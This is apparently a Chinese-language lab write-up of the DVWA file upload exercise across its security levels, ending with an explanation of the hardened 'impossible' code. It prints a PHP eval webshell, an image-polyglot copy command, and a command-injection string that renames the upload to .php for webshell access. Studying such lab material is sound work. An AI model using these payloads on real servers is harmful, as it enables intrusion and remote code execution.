DVWA-Fileupload
Low
源码
直接上传木马shell.php
<?php
phpinfo();
?>
访问url http://192.168.226.148/DVWA/hackable/uploads/shell.php
Meduim
源码
前端校验,只能上传jpeg/png
抓包修改后缀
也可以上传一句哈木马
<?php @eval($_POST['dvwa']) ?>
high
源码
文件后缀限制与大小限制
方法一:使用命令执行漏洞将文件类型改为php
D:\hack\payload\muma>copy by.jpg/b+shell.php/a tupianma.png
by.jpg
shell.php
已复制 1 个文件。
上传图片码
通过命令注入漏洞修改目录文件后缀名
127.0.0.1|mv ../../hackable/uploads/tupianma.png ../../hackable/uploads/tupianma.php
然后再用蚁剑连接
impossible
源码
1.检查文件类型:代码使用getimagesize()函数来检查上传文件是否是有效的图像文件。它首先检查文件扩展名是否为"jpg"、“jpeg"或"png”,然后通过getimagesize()函数检查文件的实际内容是否为图像。这是一种常见的方法,可以确保只接受图像文件,从而防止上传恶意文件。
2.检查文件大小:代码限制上传文件的大小必须小于100,000字节(约100 KB)。这是为了防止上传过大的文件,可能会导致服务器资源耗尽或拒绝服务攻击。
3.生成目标路径:代码使用basename()函数获取上传文件的基本名称,并将其附加到服务器上的目标路径上。这可以防止恶意用户通过相对路径或包含特殊字符的文件名来绕过目标路径。
4.移动文件:如果上传的文件通过了所有检查,代码使用move_uploaded_file()函数将文件移动到目标路径。这是为了确保上传的文件位于安全的目录中,并且可以通过正确的URL访问。
5.错误处理:如果文件上传失败(无法移动到目标路径),代码会输出一条错误消息。这可以帮助系统管理员或开发人员及时发现问题并采取适当的措施。
6.通过 checkToken() 方法验证了 Anti-CSRF token 的合法性,相当于也防范了CSRF攻击
使用 md5(uniqid().$uploaded_name)生成一个唯一的文件名,不使用原始文件名作为目标文件名,然后用原始文件的扩展名再拼接成完成的文件名